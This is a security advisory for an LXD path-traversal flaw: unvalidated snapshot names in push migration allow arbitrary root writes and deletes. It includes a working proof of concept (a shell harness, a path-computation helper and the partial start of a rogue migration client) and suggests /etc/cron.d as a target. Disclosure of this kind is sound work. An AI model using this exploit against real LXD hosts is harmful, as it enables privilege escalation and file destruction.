Skip to main content
Menu
Advisories

Summary A client that pushes a custom storage volume to an LXD daemon supplies the list of snapshot names in the protobuf MigrationHeader it sends

GHSA-HFWR-H8HX-PW2GPublished Updated GitHub

Description

A client that pushes a custom storage volume to an LXD daemon supplies the list of snapshot names in the protobuf MigrationHeader it sends. The receiving daemon treats that list as authoritative and never validates it: not in the API handler, not in CreateCustomVolumeFromMigration(), not in the database layer, and not in the generic VFS receive loop. The name is later turned into a filesystem path by Volume.MountPath().

Every other path that accepts a snapshot name from an untrusted source validates it first. On lxd-main the asymmetry is explicit and provable by line number:

PathSource of the nameValidated?
Migration receivepeer's MigrationHeader.Snapshots[].Nameno (generic_vfs.go:371)
Backup unpackbackup/index.yamlyes — generic_vfs.go:900-905, comment "Defend against path traversal attacks."
Backup import (volumes)index.yamlyes — backend_lxd.go:8236, comment "Validate the names in the index.yaml file as these could be malicious."
btrfs wire metadataBTRFSMetaDataHeaderyes — driver_btrfs_utils.go:617

The consequence on lxd-main depends on the storage driver, because each driver's CreateVolumeSnapshot() is the last line of defence and only two of the ten fail to call the name-validating EnsureMountPath():

DriverCreateVolumeSnapshotCalls EnsureMountPath()?
dir, lvm, zfs, ceph, pure, alletra, powerstore—yes → traversal rejected
btrfsdriver_btrfs_volumes.go:1740no
cephfsdriver_cephfs_volumes.go:485no

and the btrfs case is not even limited to btrfs send: the driver dispatches MigrationFSType_RSYNC straight to the generic VFS code (driver_btrfs_volumes.go:561-564) before it ever reads and validates the btrfs metadata header (:575-600), so a peer that negotiates plain rsync walks past the CVE-2026-85185 fix entirely and reaches the unguarded generic loop.

On the previous branches the impact is strictly larger, because Volume.EnsureMountPath() itself performs no name validation at all there — it only creates the directory and fixes up its mode:

lxd-6.9     lxd/storage/drivers/volume.go   EnsureMountPath(): 0 name checks
lxd-5.21.8  lxd/storage/drivers/volume.go   EnsureMountPath(): 0 name checks
lxd-main    lxd/storage/drivers/volume.go   EnsureMountPath(): ValidPoolName + ValidVolumeName x2

With no driver-level guard, the dir driver — the most common simple pool type, and the one used by lxd init's default — rsyncs the attacker-supplied volume contents as root into the resolved path (lxd/storage/drivers/driver_dir_volumes.go:435-465):

func (d *dir) CreateVolumeSnapshot(snapVol Volume, progressReporter ioprogress.ProgressReporter) error {
	parentName, _, _ := api.GetParentAndSnapshotName(snapVol.name)

	err := snapVol.EnsureMountPath()          // <- no name validation on 6.9 / 5.21.8
	...
	snapPath := snapVol.MountPath()           // <- attacker-chosen absolute path
	revert.Add(func() { _ = os.RemoveAll(snapPath) })
	...
	srcPath := GetVolumeMountPath(d.name, snapVol.volType, parentName)
	_, err = rsync.LocalCopy(srcPath, snapPath, bwlimit, true, rsyncArgs...)   // <- root write

filepath.Join clamps .. at /, so a fixed number of .. components reaches any absolute path, and if the target is an existing directory rsync merges the attacker's files into it. The same revert.Add(os.RemoveAll(snapPath)) — and, on abort, the outer generic_vfs.go:410-412 revert hook calling DeleteVolumeSnapshot() — turns the same name into a recursive root delete of an attacker-chosen path.

Technical details

1) The attacker's name is taken from the wire verbatim. lxd/migrate_storage_volumes.go (target sink) decodes the peer's header and copies the snapshot list straight into the storage target args:

offerHeader := &migration.MigrationHeader{}
err := c.recv(offerHeader)                                // :274
...
respHeader.SnapshotNames = offerHeader.SnapshotNames      // :317
respHeader.Snapshots     = offerHeader.Snapshots          // :318
...
volTargetArgs.Snapshots = make([]string, 0, len(args.snapshots))
for _, snap := range args.snapshots {
	volTargetArgs.Snapshots = append(volTargetArgs.Snapshots, *snap.Name)   // :339-341
}
...
return pool.CreateCustomVolumeFromMigration(ctx, projectName, conn, volTargetArgs, op)   // :345

2) No validation anywhere below it. CreateCustomVolumeFromMigration() (lxd/storage/backend_lxd.go:5483) inserts a snapshot row per name without checking it:

if len(args.Snapshots) > 0 {
	// Create database entries for new storage volume snapshots.
	for _, snapName := range args.Snapshots {
		newSnapshotName := drivers.GetSnapshotVolumeName(args.Name, snapName)   // :5587  "pocvol/../../..." verbatim
		...
		err = VolumeDBCreate(b, projectName, newSnapshotName, ...)              // :5592

Contrast the backup-import path in the same file, which is explicit about why:

// lxd/storage/backend_lxd.go:8236
// Validate the names in the index.yaml file as these could be malicious.
err = drivers.ValidVolumeName(srcBackup.Name)
...
	err = drivers.ValidVolumeName(snapName)

3) The database stores it verbatim. CreateStorageVolumeSnapshot() (lxd/db/storage_volume_snapshots.go:22) splits on the first / and inserts the remainder as the snapshot name with no checks:

volumeName, snapshotName, _ := strings.Cut(volumeName, shared.SnapshotDelimiter)
...
_, err = c.tx.ExecContext(ctx, "INSERT INTO storage_volumes_snapshots (id, storage_volume_id, name, description, creation_date, expiry_date) VALUES (?, ?, ?, ?, ?, ?)", volumeID, parentID, snapshotName, ...)

instancetype.ValidSnapName() — the helper that exists precisely to reject /, \ and .. — is called on the backup path (generic_vfs.go:902) and by the btrfs header validator (driver_btrfs_utils.go:620), and nowhere on the migration path.

4) The generic receive loop compares but does not validate. The loop matches the attacker's name against the volume's own snapshot list, which was itself built from the attacker's name, so the match always succeeds:

// lxd/storage/drivers/generic_vfs.go:370-412
// Snapshots are sent first by the sender, so create these first.
for _, snapName := range volTargetArgs.Snapshots {          // :371  no ValidSnapName
	found := false
	var snapVol Volume
	for _, snapshot := range vol.Snapshots {
		_, snapshotName, _ := api.GetParentAndSnapshotName(snapshot.name)
		if snapshotName == snapName {
			snapVol = snapshot
			found = true
			break
		}
	}
	if !found {
		return fmt.Errorf("Snapshot %q missing in volume's list", snapName)
	}
	...
	// Create the snapshot itself.
	d.Logger().Debug("Creating snapshot", logger.Ctx{"volName": snapVol.Name()})
	err = d.CreateVolumeSnapshot(snapVol, progressReporter)   // :404  -> driver sink
	...
	// Setup the revert.
	revert.Add(func() {
		_ = d.DeleteVolumeSnapshot(snapVol, progressReporter) // :411  -> attacker-chosen delete on abort
	})

The identical loop in the backup unpacker, twelve hundred lines later, opens with the guard that the migration loop lacks:

// lxd/storage/drivers/generic_vfs.go:900-905
for _, snapName := range snapshots {
	// Defend against path traversal attacks.
	err := instancetype.ValidSnapName(snapName)
	if err != nil {
		return nil, nil, fmt.Errorf("Invalid snapshot name %q: %w", snapName, err)
	}

5) Path arithmetic. Volume.MountPath() is drivers.GetVolumeMountPath(pool, volType, volName), i.e. shared.VarPath("storage-pools", pool, volType, volName), and shared.VarPath is filepath.Join(shared.VarPath(""), ...). filepath.Join calls Clean, and Clean clamps leading .. at /. A payload of n .. components therefore resolves to the (depth - n)-th ancestor when n < depth, and to any absolute path when n >= depth. This was verified by linking poc/mountpath/main.go against the real packages and running it against a live daemon directory; it calls the same two helpers the receiver calls and prints the resolved path:

LXD_DIR                     = /var/lib/lxd
GetSnapshotVolumeName       = "attacker_pocvol/../../custom/poc-escaped"
GetVolumeMountPath          = "/var/lib/lxd/storage-pools/btr/custom/poc-escaped"
resolved parent directory   = "/var/lib/lxd/storage-pools/btr/custom"
snapshot dir name component = "poc-escaped"
volume's own snapshot dir   = "/var/lib/lxd/storage-pools/btr/custom-snapshots/attacker_pocvol"
escapes the volume's dir    = true
>>> CONFIRMED: the peer-supplied snapshot name resolves outside the volume directory

6) The attacker is a project-restricted user, not an administrator. LXD's TLS authorizer grants a certificate that is restricted to a project the can_create_storage_volumes entitlement on that project — identically on all three branches (lxd-main lxd/auth/drivers/tls.go:248, lxd-6.9 and lxd-5.21.8 lxd/auth/drivers/tls.go:198):

// lxd-main
if hasProject && slices.Contains([]auth.Entitlement{auth.EntitlementCanView, ...,
	auth.EntitlementCanCreateStorageVolumes, ...}, entitlement) {
	return true
}

// lxd-6.9 / lxd-5.21.8
return slices.Contains(id.Projects, projectName) && slices.Contains([]auth.Entitlement{
	auth.EntitlementCanView, ..., auth.EntitlementCanCreateStorageVolumes, ...}, entitlement)

lxd/storage_volumes.go:105 is the only gate on the route (CheckPermission(projectURL(effectiveProject), auth.EntitlementCanCreateStorageVolumes)), and storagePoolVolumeTypePostMigration() consults no limits.* at all — unlike the ordinary volume-create handler, which calls limits.AllowVolumeCreation() at storage_volumes.go:1112. The attacker needs one reachable HTTPS endpoint and a restricted certificate; the "source" side of the migration is the attacker's own program speaking the protocol directly, so no LXD daemon is required on the attacker's side at all.

That this entitlement is the correct privilege boundary for this class of bug is Canonical's own position — the published workaround for CVE-2026-66898 / CVE-2026-85185 is to "restrict `can_create_instances`/`can_create_storage_volumes` to trusted administrators", i.e. the same users this advisory's attacker represents.

Proof of concept (self-contained)

Requirements: a Linux host with sudo (only to start a throwaway daemon under sudo -n), openssl, rsync, and a built LXD tree to compile the rogue client against. All state (the LXD_DIR, the storage pool, the LXD_CONF) is created under the script's own directory and can be deleted afterwards; no image is pulled.

The PoC is a rogue migration source: it speaks the push-mode migration protocol itself, so the snapshot name it advertises is entirely its own choice. poc.sh brings up a target daemon, creates the storage pool and a project with a restricted client certificate, runs a control that proves the certificate is restricted, then performs the attack and shows the resulting filesystem state.

mountpath/main.go

// Command mountpath shows, using the real LXD packages, that a snapshot name
// taken from a migration peer is turned into a filesystem path that can leave
// the volume's directory and reach an arbitrary absolute path.
//
// It calls the same two helpers the receiving daemon calls:
//
//	drivers.GetSnapshotVolumeName(parentVolName, snapName)  // "parent/snap", no validation
//	drivers.GetVolumeMountPath(pool, volType, name)         // shared.VarPath(...) -> filepath.Join -> Clean
//
// LXD_DIR must be set in the environment before the process starts, because
// shared.VarPath resolves the daemon's directory from it.
//
// Usage: LXD_DIR=/path/to/daemon mountpath <pool> <project> <volume> <snapshot-name>
package main

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"github.com/canonical/lxd/lxd/storage/drivers"
)

func main() {
	if len(os.Args) != 5 {
		fmt.Fprintf(os.Stderr, "usage: LXD_DIR=<dir> %s <pool> <project> <volume> <snapshot-name>\n", filepath.Base(os.Args[0]))
		os.Exit(2)
	}

	pool, project, volName, snapName := os.Args[1], os.Args[2], os.Args[3], os.Args[4]

	// LXD stores project-scoped volumes under a "<project>_<name>" prefix.
	qualified := volName
	if project != "" && project != "default" {
		qualified = project + "_" + volName
	}

	// Exactly what the receiver does with the peer-supplied name.
	fullName := drivers.GetSnapshotVolumeName(qualified, snapName)
	mountPath := drivers.GetVolumeMountPath(pool, drivers.VolumeTypeCustom, fullName)

	lxdDir := os.Getenv("LXD_DIR")
	parent := filepath.Dir(mountPath)

	fmt.Printf("LXD_DIR                     = %s\n", lxdDir)
	fmt.Printf("GetSnapshotVolumeName       = %q\n", fullName)
	fmt.Printf("GetVolumeMountPath          = %q\n", mountPath)
	fmt.Printf("resolved parent directory   = %q\n", parent)
	fmt.Printf("snapshot dir name component = %q\n", filepath.Base(mountPath))

	// The volume's own directory is where a legitimate snapshot must land.
	legit := drivers.GetVolumeMountPath(pool, drivers.VolumeTypeCustom, drivers.GetSnapshotVolumeName(qualified, "snap0"))
	legitParent := filepath.Dir(legit)

	escaped := !strings.HasPrefix(parent+string(filepath.Separator), filepath.Dir(legitParent)+string(filepath.Separator))
	fmt.Printf("volume's own snapshot dir  = %q\n", legitParent)
	fmt.Printf("escapes the volume's dir    = %v\n", escaped)

	if escaped {
		fmt.Printf(">>> CONFIRMED: the peer-supplied snapshot name resolves outside the volume directory\n")
		return
	}

	fmt.Printf(">>> not a traversal for this input\n")
	os.Exit(1)
}

poc.sh

#!/usr/bin/env bash
# =============================================================================
#  LXD - path traversal via snapshot names on custom-volume push migration
#         (CWE-22 / CWE-20)
#
#  Attacker model (low privilege):
#    * A **restricted client certificate** on the target daemon
#      (`--restricted --projects attacker`, the lowest privilege level LXD
#      issues). The attacker has no shell on the target host.
#    * The attacker's own machine needs **no** LXD daemon: this PoC's rogue
#      client speaks the push-migration protocol (a protobuf MigrationHeader)
#      directly, so the snapshot name is entirely attacker-chosen.
#
#  The bug:
#    The receiving side never validates MigrationHeader.Snapshots[].Name:
#      * lxd/migrate_storage_volumes.go:339-341  copied verbatim into volTargetArgs.Snapshots
#      * lxd/storage/backend_lxd.go:5584-5592    GetSnapshotVolumeName() then VolumeDBCreate
#      * lxd/db/storage_volume_snapshots.go:22   strings.Cut then a raw INSERT
#      * lxd/storage/drivers/generic_vfs.go:371  loop with no instancetype.ValidSnapName
#    Contrast the backup-unpack loop in the same file (:900-905), which **does**
#    have that guard (comment: "Defend against path traversal attacks."), and the
#    index.yaml import at backend_lxd.go:8236 ("these could be malicious").
#
#    The name finally becomes a filesystem path via Volume.MountPath()
#    (shared.VarPath -> filepath.Join -> Clean, which clamps at /), so n `..`
#    components reach any absolute path. The last line of defence is each
#    driver's CreateVolumeSnapshot(): on lxd-main only btrfs (:1740) and cephfs
#    (:485) **omit** the now-hardened EnsureMountPath(); and on lxd-6.9 /
#    lxd-5.21.8 EnsureMountPath() itself performs no name validation at all, so
#    the `dir` driver rsyncs the attacker's content as root into the resolved
#    path (driver_dir_volumes.go:435-465).
#
#  Dependencies: a built lxd/lxc (LXD_BIN), go (to build the rogue client),
#                sudo -n, openssl, rsync
# =============================================================================
set -uo pipefail

HERE="$(cd "$(dirname "$0")" && pwd)"

# The workspace root holds the built trees. It is reached through the optional
# ASCII alias /tmp/lxd (this file lives at <ws>/advisories/<id>/poc/), and the
# default below falls back to the real path inferred from this script's location
# when the alias is absent. Override with LXD_WS=... if your layout differs.
LXD_WS="${LXD_WS:-/tmp/lxd}"
[ -d "$LXD_WS/build/bin69" ] || LXD_WS="$(cd "$HERE/../../.." && pwd)"
LXD_BIN="${LXD_BIN:-$LXD_WS/build/bin69}"                     # 6.9 build output
LXD_DEPS="${LXD_DEPS:-$LXD_WS/build/deps}"
LXD_SRC="${LXD_SRC:-$LXD_WS/lxd-6.9}"                         # source tree the rogue client builds against
GOROOT_DIR="${GOROOT_DIR:-$LXD_WS/build/go}"
GOPATH_DIR="${GOPATH_DIR:-$LXD_WS/build/gopath}"

# All runtime state (daemon/pool/certs/logs) lives here. It must be a SHORT path:
# a unix socket path is capped at 107 bytes, and this deliverable's own directory
# is far deeper than that. Override with WORK=... if you need a different location.
WORK="${WORK:-/tmp/lxd-poc2-run}"
T_DIR="$WORK/t-var"
CONF="$WORK/conf"
POOL="${POOL:-pocpool}"
POOL_DRIVER="${POOL_DRIVER:-dir}"          # dir gives the strongest impact; btrfs also works
VOLNAME="${VOLNAME:-pocvol}"
PROJECT="${PROJECT:-attacker}"
T_HTTPS="${T_HTTPS:-127.0.0.1:8466}"
# The attacker-chosen destination path (where the snapshot name resolves to).
# The default is a directory this PoC creates and can safely clean up; point it at
# /etc/cron.d to see the real impact of a root write into an arbitrary directory
# (this script will not make that change for you).
VICTIM_DIR="${VICTIM_DIR:-/tmp/lxd-poc2-victim}"

export LD_LIBRARY_PATH="$LXD_DEPS/lib:${LD_LIBRARY_PATH:-}"
# Keep tool output (ls, stat, ...) in English so the transcript is reproducible.
export LC_ALL=C

# Colours only when stdout is a terminal, so a redirected transcript is plain text.
if [ -t 1 ] && [ -z "${NO_COLOR:-}" ]; then
  C_S='\033[1;36m'; C_OK='\033[1;32m'; C_E='\033[1;31m'; C_W='\033[1;33m'; C_R='\033[0m'
else
  C_S=''; C_OK=''; C_E=''; C_W=''; C_R=''
fi
say() { printf "\n${C_S}>>> %s${C_R}\n" "$*"; }
ok()  { printf "${C_OK}[OK]${C_R} %s\n" "$*"; }
bad() { printf "${C_E}[FAIL]${C_R} %s\n" "$*"; }
warn(){ printf "${C_W}[!!]${C_R} %s\n" "$*"; }

cli_t() { LXD_DIR="$T_DIR" timeout 120 "$LXD_BIN/lxc" "$@"; }

# Both PoC programs import packages from github.com/canonical/lxd, so the most
# reliable way to build them is to drop the source into the tree under test and
# build with that tree's go.mod (the same approach the 005 advisory uses).
go_lxd() { # $1=LXD source tree, remaining args are passed to go
  local src="$1"; shift
  ( cd "$src" && \
    LXD_DIR="$T_DIR" \
    GOROOT="$GOROOT_DIR" GOPATH="$GOPATH_DIR" PATH="$GOROOT_DIR/bin:$PATH" \
    GOFLAGS="-mod=mod -buildvcs=false" GOSUMDB=off GOPROXY=off CGO_ENABLED=1 \
    PKG_CONFIG_PATH="$LXD_DEPS/lib/pkgconfig" CGO_CFLAGS="-I$LXD_DEPS/include" \
    CGO_LDFLAGS="-L$LXD_DEPS/lib" \
    CGO_LDFLAGS_ALLOW='(-Wl,-wrap,pthread_create)|(-Wl,-z,now)' \
    go "$@" )
}

# Copy poc/<name>/main.go into the tree under test and build it; print the binary path
build_poc_prog() { # $1=source tree $2=poc subdirectory name $3=output binary name
  local src="$1" name="$2" out="$3" pkg="$1/cmd/poc2-$2"
  rm -rf "$pkg"; mkdir -p "$pkg"
  cp "$HERE/$name/main.go" "$pkg/main.go"
  go_lxd "$src" build -tags libsqlite3 -o "$WORK/$out" "./cmd/poc2-$name" || return 1
  echo "$WORK/$out"
}
cleanup_poc_progs() { # remove the temporary packages so the source tree stays clean
  rm -rf "$LXD_SRC/cmd/poc2-rogue" "$LXD_SRC/cmd/poc2-mountpath"
}
trap cleanup_poc_progs EXIT

# ---------------------------------------------------- attacker path arithmetic ----
# A volume's mount path is <LXD_DIR>/storage-pools/<pool>/custom/<project>_<vol>/<snap>.
# Enough `..` components are needed to clamp at / and then descend into
# VICTIM_DIR; n is computed dynamically here.
compute_snap_name() {
  python3 - "$T_DIR" "$POOL" "$PROJECT" "$VOLNAME" "$1" <<'PY'
import os,sys,posixpath
lxd_dir, pool, project, vol, victim = sys.argv[1:6]
base = posixpath.join(lxd_dir, "storage-pools", pool, "custom", "%s_%s" % (project, vol))
for n in range(1, 40):
    cand = vol + "/" + "/".join([".."] * n) + victim
    # Reproduce filepath.Join semantics: Clean clamps at /
    resolved = posixpath.normpath(posixpath.join(base, cand))
    if resolved == posixpath.normpath(victim):
        print(cand); break
else:
    sys.exit(1)
PY
}

# ================================================================== stage 0 ====
say "Stage 0: bring up the target daemon ($LXD_BIN) and storage pool $POOL (driver=$POOL_DRIVER)"

mkdir -p "$CONF" "$WORK" "$T_DIR"
chmod 0711 "$T_DIR"
export LXD_CONF="$CONF"

# 0a start the daemon
# A daemon left over from an earlier run of this script would serve a stale
# database (and hide this run's pool/project, making the whole PoC fail with a
# confusing "not found"), so make sure nothing is bound to $T_DIR first.
for p in $(pgrep -f "$LXD_BIN/lxd" 2>/dev/null); do
  if sudo -n tr '\0' '\n' <"/proc/$p/environ" 2>/dev/null | grep -qx "LXD_DIR=$T_DIR"; then
    echo "  stopping stale daemon pid=$p on $T_DIR"
    sudo -n kill "$p" 2>/dev/null
  fi
done
sleep 2

if ! LXD_DIR="$T_DIR" timeout 5 "$LXD_BIN/lxc" list >/dev/null 2>&1; then
  sudo -n env LXD_DIR="$T_DIR" LD_LIBRARY_PATH="$LD_LIBRARY_PATH" \
    nohup "$LXD_BIN/lxd" --group "$(id -un)" --debug >"$WORK/t-lxd.log" 2>&1 &
  for _ in $(seq 1 60); do
    LXD_DIR="$T_DIR" timeout 5 "$LXD_BIN/lxc" list >/dev/null 2>&1 && break
    sleep 2
  done
fi
LXD_DIR="$T_DIR" timeout 10 "$LXD_BIN/lxc" list >/dev/null 2>&1 || { bad "daemon failed to start"; exit 1; }
ok "target daemon ready ($T_DIR)"

# 0b HTTPS listener (a restricted certificate can only authenticate over the network, not over the unix socket)
cli_t config set core.https_address "$T_HTTPS" >/dev/null 2>&1
sleep 2

# 0c storage pool
POOL_SRC="$WORK/t-pool"
mkdir -p "$POOL_SRC"; chmod 0711 "$POOL_SRC"
if ! cli_t storage show "$POOL" >/dev/null 2>&1; then
  if [ "$POOL_DRIVER" = btrfs ]; then
    IMG="$WORK/t-pool.img"
    [ -f "$IMG" ] || truncate -s 2G "$IMG"
    LOOP=$(sudo -n losetup -f --show "$IMG")
    cli_t storage create "$POOL" btrfs source="$LOOP" >/dev/null
  else
    cli_t storage create "$POOL" dir source="$POOL_SRC" >/dev/null
  fi
fi
# Fail loudly: a missing pool silently turns every later stage into a no-op.
cli_t storage show "$POOL" >/dev/null 2>&1 || { bad "storage pool $POOL is not available"; \
  cli_t storage show "$POOL"; exit 1; }
cli_t storage show "$POOL" | sed -n '1,8p'

# 0d restricted project
if ! cli_t project show "$PROJECT" >/dev/null 2>&1; then
  cli_t project create "$PROJECT" -c features.images=true -c features.profiles=true \
    -c restricted=true >/dev/null
fi
cli_t project show "$PROJECT" >/dev/null 2>&1 || { bad "project $PROJECT could not be created"; \
  cli_t project show "$PROJECT"; exit 1; }
# The project needs a profile whose root disk lands on $POOL
cat >"$WORK/poc.profile" <<EOF
config: {}
description: poc
devices:
  root:
    path: /
    pool: $POOL
    type: disk
name: default
EOF
cli_t profile edit default --project "$PROJECT" <"$WORK/poc.profile" >/dev/null 2>&1 || true
ok "restricted project $PROJECT ready"

# ================================================================== stage 1 ====
say "Stage 1: prepare two certificates - an admin one (used by this script) and the RESTRICTED ATTACKER one"
ADMIN_CRT="$CONF/admin.crt"; ADMIN_KEY="$CONF/admin.key"
ATK_CRT="$CONF/attacker.crt"; ATK_KEY="$CONF/attacker.key"
for p in "$ADMIN_CRT:$ADMIN_KEY:lxd-poc2-admin" "$ATK_CRT:$ATK_KEY:poc2-restricted"; do
  IFS=: read -r c k cn <<<"$p"
  [ -f "$c" ] || openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes \
    -keyout "$k" -out "$c" -days 3650 -subj "/CN=$cn" >/dev/null 2>&1
done
ok "certificates ready: $ATK_CRT (CN=poc2-restricted)"

# Register the admin certificate first (over the unix socket, as an administrator would)
ADMIN_FP=$(openssl x509 -in "$ADMIN_CRT" -noout -fingerprint -sha256 | cut -d= -f2 | tr -d ':')
if ! cli_t config trust list --format json | grep -qi "${ADMIN_FP:0:12}"; then
  cli_t config trust add --name poc2-admin "$ADMIN_CRT" >/dev/null
fi

# Register the attacker certificate as **restricted**, scoped only to $PROJECT
ATK_FP=$(openssl x509 -in "$ATK_CRT" -noout -fingerprint -sha256 | cut -d= -f2 | tr -d ':')
if ! cli_t config trust list --format json | grep -qi "${ATK_FP:0:16}"; then
  cli_t config trust add --restricted --projects "$PROJECT" --name poc2-restricted "$ATK_CRT" >/dev/null \
    || { bad "could not register the restricted certificate (is project $PROJECT present?)"; exit 1; }
fi
ok "restricted certificate registered"
cli_t config trust list --format json | python3 -c "
import json,sys
for x in json.load(sys.stdin):
    print('    name=%s type=%s restricted=%s projects=%s' % (x.get('name'),x.get('type'),x.get('restricted'),x.get('projects')))"

# ================================================================== stage 2 ====
say "Stage 2 (control): prove the restricted certificate really is restricted"
export LXD_CONF="$CONF"  # subsequent lxc calls authenticate with this certificate
rc=$(curl -s -o /dev/null -w '%{http_code}' --cert "$ATK_CRT" --key "$ATK_KEY" -k -X POST \
     "https://$T_HTTPS/1.0/storage-pools" -d '{"name":"nope","driver":"dir","config":{}}')
echo "  create a storage pool with the restricted certificate -> HTTP $rc (expect 403)"
[ "$rc" = "403" ] && ok "the restricted certificate cannot create storage pools - it is genuinely restricted" \
                  || warn "expected 403, got $rc, please check manually"

# ================================================================== stage 3 ====
say "Stage 3: compute the attacker-chosen snapshot name and check the path arithmetic"
SNAP_NAME=$(compute_snap_name "$VICTIM_DIR") || { bad "could not compute a traversal name"; exit 1; }
echo "  destination VICTIM_DIR = $VICTIM_DIR"
echo "  snapshot name SNAP_NAME = $SNAP_NAME"
echo "  recomputed with the real package (poc/mountpath):"
MP_BIN=$(build_poc_prog "$LXD_SRC" mountpath mountpath-bin) || { bad "could not build mountpath"; exit 1; }
LXD_DIR="$T_DIR" "$MP_BIN" "$POOL" "$PROJECT" "$VOLNAME" "$SNAP_NAME" | sed 's/^/    /'

# ================================================================== stage 4 ====
say "Stage 4 (prepare the victim directory and the attacker's volume content)"
# Start from an empty directory: a previous run of this script leaves it
# attacker-owned, and a stale marker in the "before" listing would make the
# attack look like it had already happened.
sudo -n rm -rf "$VICTIM_DIR"
sudo -n mkdir -p "$VICTIM_DIR"
sudo -n chmod 0755 "$VICTIM_DIR"
echo "  $VICTIM_DIR before the attack:" ; sudo -n ls -la "$VICTIM_DIR" | sed 's/^/    /'

# The attacker owns the *source* side, so the volume content can carry any uid.
# `rsync -a --numeric-ids` (lxd/rsync/rsync.go:96-99) preserves it numerically,
# which is why the landed files keep the source's uid: a container volume's
# root-owned files therefore land root-owned on the target.
SRCDIR="$WORK/srcvol"; rm -rf "$SRCDIR"; mkdir -p "$SRCDIR"
echo "poc-lxd-2026-002-$(id -un)" >"$SRCDIR/poc2-marker"
echo "payload owned by uid 0 in the source volume" >"$SRCDIR/root-owned-marker"
sudo -n chown 0:0 "$SRCDIR/root-owned-marker"
ls -l "$SRCDIR" | sed 's/^/  /'
ok "attacker volume content in place: $SRCDIR"

# ================================================================== stage 5 ====
say "Stage 5 (attack): push-migrate a custom volume with the restricted certificate, snapshot name = traversal name"
ROGUE_BIN=$(build_poc_prog "$LXD_SRC" rogue rogue-bin) || { bad "could not build the rogue client"; exit 1; }

"$ROGUE_BIN" \
  -url="https://$T_HTTPS" -pool="$POOL" -project="$PROJECT" \
  -vol="$VOLNAME" -snap="$SNAP_NAME" -srcdir="$SRCDIR" \
  -cert="$ATK_CRT" -key="$ATK_KEY" \
  -comment="poc: snapshot name escapes to $VICTIM_DIR" 2>&1 | sed 's/^/  | /'
RC=${PIPESTATUS[0]}
echo "  exit code: $RC"

# ================================================================== stage 6 ====
say "Stage 6 (verify): did the attacker's content land in the target directory as root?"
sudo -n ls -la "$VICTIM_DIR" | sed 's/^/    /'
if sudo -n test -e "$VICTIM_DIR/poc2-marker"; then
  ok "the marker file appeared at $VICTIM_DIR/poc2-marker"
  for f in poc2-marker root-owned-marker; do
    echo "  $f: owner/mode=$(sudo -n stat -c '%U:%G %a' "$VICTIM_DIR/$f" 2>/dev/null)"
  done
  echo "  (the write was performed by the root target daemon; each file keeps the uid it"
  echo "   had in the source volume, because rsync runs with -a --numeric-ids)"
  echo
  echo "    control: a legitimate snapshot name only ever lands under <pool>/custom-snapshots/<vol>/"
  echo "    attack : the volume content was written by root into $VICTIM_DIR (the snapshot name traversed with ..)"
  echo "    >>> CONFIRMED: the migration receiver does not validate snapshot names, giving a root arbitrary-path write <<<"
  VERDICT=confirmed
else
  bad "no marker file under $VICTIM_DIR - this vector did not land"
  echo "  hint: look for 'Creating snapshot' / 'Invalid' lines in $WORK/t-lxd.log"
  grep -aE "Creating snapshot|Invalid|Failed|CreateCustomVolumeFromMigration" "$WORK/t-lxd.log" | tail -20 | sed 's/^/    /'
  VERDICT=disproven
fi

say "Stage 7 (daemon-side corroboration): the receiver itself recorded the traversal name"
grep -a "CreateCustomVolumeFromMigration started" "$WORK/t-lxd.log" | tail -1 \
  | grep -oE 'Snapshots:\[[^]]*\]|FSType:[A-Z_]+|project=[a-zA-Z0-9_-]*' | sed 's/^/    /'
grep -a "Creating snapshot" "$WORK/t-lxd.log" | tail -1 | sed 's/^/    /'
grep -aoE 'method=POST protocol=tls url=[^ ]*' "$WORK/t-lxd.log" | tail -2 | sed 's/^/    /'
grep -aoE 'subject="CN=[^"]*"' "$WORK/t-lxd.log" | sort -u | sed 's/^/    /'

say "done (verdict=$VERDICT)"
[ "$VERDICT" = confirmed ]

rogue/main.go

// Command pocrogue is a rogue LXD migration SOURCE (push mode) used to prove that
// the receiving daemon trusts the snapshot names in the protobuf MigrationHeader
// verbatim and then builds a filesystem path from them.
//
// It also contains a tiny "netcat" sub-command which is used as rsync's remote
// shell (-e) transport, so no privileged helper and no LXD daemon are needed on
// the attacker side.
//
// Usage (attacker mode):
//
//	pocrogue -url=https://127.0.0.1:8464 -pool=btr -vol=pocvol \
//	         -snap=../../custom/poc-escaped -srcdir=/tmp/src \
//	         -cert=client.crt -key=client.key
package main

import (
	"errors"
	"flag"
	"fmt"
	"io"
	"net"
	"os"
	"path/filepath"
	"time"

	"google.golang.org/protobuf/proto"

	client "github.com/canonical/lxd/client"
	"github.com/canonical/lxd/lxd/migration"
	"github.com/canonical/lxd/lxd/rsync"
	"github.com/canonical/lxd/shared/api"
	"github.com/canonical/lxd/shared/ws"
)

// logf prints to stderr with a timestamp.
func logf(format string, args ...any) {
	fmt.Fprintf(os.Stderr, "[%s] "+format+"\n", append([]any{time.Now().Format("15:04:05")}, args...)...)
}

// netcat implements the small `lxd netcat`-alike that rsync invokes as its
// remote shell: proxy stdin/stdout to the abstract unix socket passed by the
// sender. It deliberately does not require root.
func netcat(args []string) error {
	// rsync calls: <execPath> netcat -- <address> <name> localhost rsync --server ...
	// so args[0] is the address (after stripping an optional "--").
	addr := ""
	for _, a := range args {
		if a == "--" {
			continue
		}

		addr = a
		break
	}

	if addr == "" {
		return errors.New("netcat: missing address")
	}

	conn, err := net.Dial("unix", addr)
	if err != nil {
		return fmt.Errorf("netcat: dial %q: %w", addr, err)
	}

	defer func() { _ = conn.Close() }()

	// Mirror lxd's own netcat: only the socket->stdout direction is awaited,
	// and the socket is closed when it ends. rsync closes/terminates this
	// helper once the transfer is complete.
	go func() {
		_, _ = io.Copy(conn, os.Stdin)
	}()

	_, _ = io.Copy(os.Stdout, conn)
	_ = conn.Close()

	return nil
}

func main() {
	if len(os.Args) > 1 && os.Args[1] == "netcat" {
		err := netcat(os.Args[2:])
		if err != nil {
			fmt.Fprintln(os.Stderr, err)
			os.Exit(1)
		}

		return
	}

	var (
		url     = flag.String("url", "https://127.0.0.1:8464", "target daemon URL")
		pool    = flag.String("pool", "btr", "target storage pool")
		vol     = flag.String("vol", "pocvol", "new custom volume name")
		snap    = flag.String("snap", "../../custom/poc-escaped", "attacker-chosen snapshot name (sent verbatim in the header)")
		srcDir  = flag.String("srcdir", "", "local directory whose contents are sent as the volume")
		certF   = flag.String("cert", "", "client certificate PEM")
		keyF    = flag.String("key", "", "client key PEM")
		project = flag.String("project", "", "LXD project to create the volume in (empty = default)")
